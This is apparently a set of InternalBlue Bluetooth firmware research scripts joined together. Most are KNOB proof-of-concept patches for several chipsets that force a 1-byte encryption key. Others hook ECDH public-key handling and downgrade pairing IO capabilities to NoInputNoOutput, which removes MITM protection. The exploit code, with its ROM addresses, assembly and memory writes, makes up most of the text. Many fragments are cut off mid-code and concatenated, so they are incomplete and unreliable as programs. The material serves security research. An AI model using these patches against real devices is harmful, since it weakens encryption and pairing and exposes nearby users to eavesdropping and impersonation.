# Jiska Classen, Secure Mobile Networking Lab from internalblue import Address from internalblue.adbcore import ADBCore from pwnlib.asm import asm from binascii import unhexlify """ Filter connections by MAC address before entering LMP dispatcher. Enter MAC addresses you trust into whitelist. """ WHITELIST = ["aabbccddeeff", "133713371337", "affedeadbeef"] WHITELIST_BYTES = unhexlify( ''.join(WHITELIST))[::-1] # change mac addr byte order HOOK_LMP_FILTER = Address(0x3f3f4) # This function is in ROM ASM_LOCATION_LMP_FILTER = 0x00211900 # 0xD5900 ASM_SNIPPET_LMP_FILTER = """ b lmp_dispatcher_filter lmp_dispatcher_filter: push {r2-r8, lr} // the patche's branch overwrote the original function's push // continue similar to original function to get the connection struct ldr r7, =0x200478 ldrh r0, [r0, 2] ldr r1, [r7, 0x4] ldrb r1, [r1, 0xc] lsrs r6, r1, 1 // LMP opcode bl 0x42c04 // get_ptr_to_connection_struct_from_index_42C04, r0=conn_struct
internalblue = HCICore() internalblue.interface = internalblue.device_list()[0][ 1] # just use the first device # setup sockets if not internalblue.connect(): internalblue.logger.critical("No connection to target device.") exit(-1) internalblue.logger.info( "Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!" ) # modify function lm_SendLmpEncryptKeySizeReq patch = asm("mov r2, #0x1", vma=0x689F0) # connection struct key entropy internalblue.patchRom(Address(0x689F0), patch) # modify global variable for own setting internalblue.writeMem(0x204127, b'\x01') # global key entropy internalblue.logger.info( "-----------------------\n" "Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n" "Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n" "For more details, see special instructions for BlueZ.\n" "-----------------------KNOB-----------------------\n" "Automatically continuing on KNOB interface...\n" "Use the 'knob' command to *debug* the attack, i.e.:\n" " knob --hnd 0x0c\n" "...shows the key size of handle 0x000c.\n")
internalblue = HCICore() internalblue.interface = internalblue.device_list()[0][ 1] # just use the first device # setup sockets if not internalblue.connect(): internalblue.logger.critical("No connection to target device.") exit(-1) internalblue.logger.info( "Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!" ) # modify function lm_SendLmpEncryptKeySizeReq patch = asm("mov r2, #0x1", vma=0x3B3D4) # connection struct key entropy internalblue.patchRom(Address(0x3B3D4), patch) # modify global variable for own setting internalblue.writeMem(0x204A5F, b'\x01') # global key entropy internalblue.logger.info( "-----------------------\n" "Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n" "Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n" "For more details, see special instructions for BlueZ.\n" "-----------------------KNOB-----------------------\n" "Automatically continuing on KNOB interface...\n" "Use the 'knob' command to *debug* the attack, i.e.:\n" " knob --hnd 0x0c\n" "...shows the key size of handle 0x000c.\n")
serial=False) # without custom bluetooth.default.so, change to True internalblue.interface = internalblue.device_list()[0][ 1] # just use the first device # setup sockets if not internalblue.connect(): internalblue.logger.critical("No connection to target device.") exit(-1) internalblue.logger.info( "Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!" ) # modify function lm_SendLmpEncryptKeySizeReq patch = asm("mov r2, #0x1", vma=0x5AED0) # connection struct key entropy internalblue.patchRom(Address(0x5AED0), patch) # modify global variable for own setting internalblue.writeMem(0x203797, b'\x01') # global key entropy internalblue.logger.info( "-----------------------KNOB-----------------------\n" "Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n" "To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n" "On Android, this requires a modified bluetooth.default.so.\n" "-----------------------KNOB-----------------------\n" "Automatically continuing on KNOB interface...\n" "Use the 'knob' command to *debug* the attack, i.e.:\n" " knob --hnd 0x0c\n" "...shows the key size of handle 0x000c.\n")
internalblue = ADBCore(serial=True) internalblue.interface = internalblue.device_list()[0][ 1] # just use the first device # setup sockets if not internalblue.connect(): log.critical("No connection to target device.") exit(-1) log.info( "Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!" ) # modify function lm_SendLmpEncryptKeySizeReq patch = asm("mov r2, #0x1", vma=0x530F6) # connection struct key entropy internalblue.patchRom(Address(0x530F6), patch) # modify global variable for own setting internalblue.writeMem(0x255E8F, b'\x01') # global key entropy log.info( "-----------------------KNOB-----------------------\n" "Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n" "To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n" "On Android, this requires a modified bluetooth.default.so.\n" "-----------------------KNOB-----------------------\n" "Automatically continuing on KNOB interface...\n" "Use the 'knob' command to *debug* the attack, i.e.:\n" " knob --hnd 0x0c\n" "...shows the key size of handle 0x000c.\n")
internalblue = HCICore() internalblue.interface = internalblue.device_list()[0][ 1] # just use the first device # setup sockets if not internalblue.connect(): log.critical("No connection to target device.") exit(-1) log.info( "Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!" ) # modify function lm_SendLmpEncryptKeySizeReq patch = asm("mov r2, #0x1", vma=0x7402A) # connection struct key entropy internalblue.patchRom(Address(0x7402A), patch) # modify global variable for own setting internalblue.writeMem(0x280F13, b'\x01') # global key entropy log.info( "-----------------------\n" "Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n" "Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n" "For more details, see special instructions for BlueZ.\n" "-----------------------KNOB-----------------------\n" "Automatically continuing on KNOB interface...\n" "Use the 'knob' command to *debug* the attack, i.e.:\n" " knob --hnd 0x0c\n" "...shows the key size of handle 0x000c.\n")
# Jiska Classen # Get receive statistics on a Raspberry Pi 3 for BLE connection events from internalblue import Address from internalblue.hcicore import HCICore from pwnlib.asm import asm internalblue = HCICore() device_list = internalblue.device_list() if len(device_list) == 0: internalblue.logger.warn("No HCI devices connected!") exit(-1) internalblue.interface = device_list[0][1] # just use the first device RX_DONE_HOOK_ADDRESS = Address(0x35fbc) # _connTaskRxDone HOOKS_LOCATION = 0x210500 ASM_HOOKS = """ // restore first 4 bytes of _connTaskRxDone push {r4-r6,lr} mov r4, r0 // fix registers for our own routine push {r1-r7, lr} mov r7, r0 // allocate vendor specific hci event mov r2, 243 mov r1, 0xff mov r0, 245
#!/usr/bin/env python2 # Dennis Mantz from internalblue import Address from internalblue.adbcore import ADBCore from internalblue.utils.pwnlib_wrapper import log, asm #internalblue = core.InternalBlue() internalblue = ADBCore() device_list = internalblue.device_list() if len(device_list) == 0: log.warn("No ADB devices connected!") exit(-1) internalblue.interface = device_list[0][1] # just use the first device PK_RECV_HOOK_ADDRESS = Address(0x2FED8) PK_SEND_HOOK_ADDRESS = Address(0x030098) GEN_PRIV_KEY_ADDRESS = Address(0x48eba) HOOKS_LOCATION = 0xd7800 ASM_HOOKS = """ b pk_recv_hook b pk_send_hook b gen_priv_key // overwrite y-coordinate of received PK point pk_recv_hook: push {r0-r3,lr} strb.w r0, [r4, 170] ldr r0, =0x205614 mov r1, 6 mov r2, 0
authentication_requirements: 0x00 MITM Protection Not Required - No Bonding. Numeric comparison with automatic accept allowed. 0x01 MITM Protection Required - No Bonding. Use IO Capabilities to determine authentication procedure 0x02 MITM Protection Not Required - Dedicated Bonding. Numeric comparison with automatic accept allowed. 0x03 MITM Protection Required - Dedicated Bonding. Use IO Capabilities to determine authentication procedure 0x04 MITM Protection Not Required - General Bonding. Numeric Comparison with automatic accept allowed. 0x05 MITM Protection Required - General Bonding. Use IO capabilities to determine authentication procedure. TODO This seems to work, but tends to be buggy depending on what information is cached in which smartphone. Probably not that good for a live demo, better do a screenshot here. """ HOOK_IO_CAP_RESP = Address( 0x303D4) # we just change the complete simple pairing state machine ASM_LOCATION_IO_CAP_RESP = 0x00211800 #0xd7800 ASM_SNIPPET_IO_CAP_RESP = """ //restore original 8 bytes of instructions which we overwrite by patching a branch into it push {r4-r6, lr} mov r4, r0 //overwrite variables used by sp_sm_io_cap_req_reply__lmp_io_cap_req_res_30286 //which actually executes: // send_LMP_IO_Capability_req_301E4 // send_LMP_IO_Capability_res_30170 push {r0-r1, lr} //variables we need in our actual subroutine here ldr r1, =0x20387D //io_caps__auth_req_20387D //oob and auth_req are already set to 0x00... ldrb r0, =0x03 //io_cap 0x03: NoInputNoOutput
# Jiska Classen # Get receive statistics on a Raspberry Pi 3 for BLE connection events from pwnlib.asm import asm from internalblue import Address from internalblue.hcicore import HCICore internalblue = HCICore() device_list = internalblue.device_list() if len(device_list) == 0: internalblue.logger.warning("No HCI devices connected!") exit(-1) internalblue.interface = device_list[0][1] # just use the first device RX_DONE_HOOK_ADDRESS = Address(0x56622) # _connTaskRxDone HOOKS_LOCATION = 0x210500 ASM_HOOKS = """ // restore first 4 bytes of _connTaskRxDone push {r4-r6,lr} mov r4, r0 // fix registers for our own routine push {r1-r7, lr} mov r7, r0 // allocate vendor specific hci event mov r2, 243 mov r1, 0xff mov r0, 245